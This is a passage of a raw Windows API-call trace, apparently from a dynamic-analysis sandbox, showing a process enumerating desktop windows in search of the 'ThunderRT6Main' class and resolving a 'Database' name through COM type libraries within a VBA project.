GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca [0137.405] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0137.405] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0137.405] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0137.405] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0 [0137.405] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0137.405] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0137.405] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0137.406] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018 [0137.406] GetClassNameA (in: hWnd=0x20018, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0137.406] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0137.406] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0137.406] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0137.406] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0137.406] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0137.406] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0137.406] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0137.406] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0137.406] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0137.406] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0137.406] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0137.406] GetClassNameA (in: hWnd=0x20016, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0137.406] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0137.406] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0137.406] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0137.406] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0137.406] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0137.406] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0137.406] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x20108 [0137.406] GetClassNameA (in: hWnd=0x20108, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0137.406] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0137.406] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0137.406] GetWindow (hWnd=0x20108, uCmd=0x2) returned 0x10106 [0137.406] GetClassNameA (in: hWnd=0x10106, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0137.406] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0137.406] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x588 [0137.406] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10102 [0137.406] GetClassNameA (in: hWnd=0x10102, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0137.406] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0137.406] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0137.407] GetWindow (hWnd=0x10102, uCmd=0x2) returned 0x100fc [0137.407] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0137.407] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0137.407] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0137.407] GetWindow (hWnd=0x100fc, uCmd=0x2) returned 0x5008e [0137.407] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0137.407] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0137.407] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0137.407] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0137.407] GetClassNameA (in: hWnd=0x10084, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0137.407] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0137.407] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x518 [0137.407] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0137.407] GetClassNameA (in: hWnd=0x10082, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0137.407] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0137.407] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0137.407] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007e [0137.407] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0137.407] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0137.407] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0137.407] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10080 [0137.407] GetClassNameA (in: hWnd=0x10080, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0137.407] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0137.407] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0137.407] GetWindow (hWnd=0x10080, uCmd=0x2) returned 0x10076 [0137.407] GetClassNameA (in: hWnd=0x10076, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0137.407] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0137.407] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0137.407] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10064 [0137.407] GetClassNameA (in: hWnd=0x10064, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0137.407] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0137.407] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0137.408] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10110 [0137.408] GetClassNameA (in: hWnd=0x10110, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0137.408] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0137.408] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0137.408] GetWindow (hWnd=0x10110, uCmd=0x2) returned 0x10112 [0137.408] GetClassNameA (in: hWnd=0x10112, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0137.408] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0137.408] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0137.408] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10060 [0137.408] GetClassNameA (in: hWnd=0x10060, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0137.408] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0137.408] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0137.408] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1004c [0137.408] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0137.408] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0137.408] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0137.408] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10042 [0137.408] GetClassNameA (in: hWnd=0x10042, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0137.408] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0137.408] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0137.408] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0137.408] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0137.408] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0137.408] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0137.408] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x10048 [0137.408] GetClassNameA (in: hWnd=0x10048, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0137.408] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0137.408] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x124 [0137.408] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x10040 [0137.408] GetClassNameA (in: hWnd=0x10040, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0137.408] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0137.409] GetWindowThreadProcessId (in: hWnd=0x10040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0137.409] GetWindow (hWnd=0x10040, uCmd=0x2) returned 0x200fe [0137.409] GetClassNameA (in: hWnd=0x200fe, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0137.409] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0137.409] GetWindowThreadProcessId (in: hWnd=0x200fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0137.409] GetWindow (hWnd=0x200fe, uCmd=0x2) returned 0x1011c [0137.409] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0137.409] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0137.409] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0137.409] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x1011a [0137.409] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0137.409] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0137.409] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0137.409] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x100ec [0137.409] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0137.409] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0137.409] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0137.409] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0137.409] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb2fbff0 [0137.409] IMalloc:Free (This=0x7feffc15380, pv=0xb2fbff0) [0137.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x261870, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0137.430] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xbb7fad0 [0137.431] strncpy_s (in: _Dst=0xbb7fad0, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0137.431] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0137.431] bsearch (_Key=0x260778, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0137.431] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0137.431] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0137.431] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1380) returned 0x0 [0137.431] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0137.431] IUnknown:Release (This=0xb1d1380) returned 0xb [0137.431] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7fad0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0137.431] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0137.431] IUnknown:Release (This=0xb1d1380) returned 0xa [0137.432] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d0570) returned 0x0 [0137.432] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0137.432] IUnknown:Release (This=0xb1d0570) returned 0x12 [0137.432] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7fad0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0137.432] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0137.432] IUnknown:Release (This=0xb1d0570) returned 0x11 [0137.432] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1920) returned 0x0 [0137.432] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0137.432] IUnknown:Release (This=0xb1d1920) returned 0x6 [0137.432] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7fad0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0137.432] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0137.432] IUnknown:Release (This=0xb1d1920) returned 0x5 [0137.432] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0x6fed890) returned 0x0 [0137.432] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0137.433] IUnknown:Release (This=0x6fed890) returned 0x4 [0137.433] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7fad0, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0137.433] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0137.433] IUnknown:Release (This=0x6fed890) returned 0x3 [0137.433] IMalloc:Free (This=0x7feffc15380, pv=0xbb7fad0) [0140.494] GetAsyncKeyState (vKey=27) returned 0 [0140.494] GetCurrentThreadId () returned 0x92c [0140.494] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0140.494] GetDesktopWindow () returned 0x10010 [0140.494] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10140 [0140.494] GetClassNameA (in: hWnd=0x10140, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20 [0140.494] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1 [0140.494] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0140.494] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a [0140.494] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.494] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.494] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0140.494] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138 [0140.494] GetClassNameA (in: hWnd=0x10138, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0140.494] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0140.494] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0140.494] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc [0140.494] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.494] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.494] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.494] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8 [0140.494] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.494] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.494] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.494] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0 [0140.494] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.494] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.494] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.494] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072 [0140.494] GetClassNameA (in: hWnd=0x10072, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.494] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.494] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.494] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x10070 [0140.494] GetClassNameA (in: hWnd=0x10070, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.494] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.494] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.495] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x1005c [0140.495] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.495] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.495] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.495] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1008a [0140.495] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.495] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.495] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.495] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007a [0140.495] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.495] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.495] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.495] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078 [0140.495] GetClassNameA (in: hWnd=0x10078, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.495] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.495] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.495] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074 [0140.495] GetClassNameA (in: hWnd=0x10074, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.495] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.495] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.495] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052 [0140.495] GetClassNameA (in: hWnd=0x10052, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0140.495] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0140.495] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.495] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e [0140.495] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.495] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.495] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.495] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054 [0140.495] GetClassNameA (in: hWnd=0x10054, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="Button") returned 6 [0140.495] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0140.495] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.495] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050 [0140.495] GetClassNameA (in: hWnd=0x10050, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0140.495] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0140.495] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.495] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4 [0140.495] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.496] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.496] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0140.496] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 0x5009a [0140.496] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.496] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.496] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.496] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0140.496] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0140.496] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0140.496] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.496] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x200e6 [0140.496] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0140.496] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0140.496] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.496] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0x10226 [0140.496] GetClassNameA (in: hWnd=0x10226, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0140.496] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0140.496] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.496] GetWindowLongA (hWnd=0x10226, nIndex=-16) returned -1946157056 [0140.496] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0 [0140.496] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0 [0140.496] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x201a6 [0140.496] GetClassNameA (in: hWnd=0x201a6, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.496] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.496] GetWindowThreadProcessId (in: hWnd=0x201a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.496] GetWindowLongA 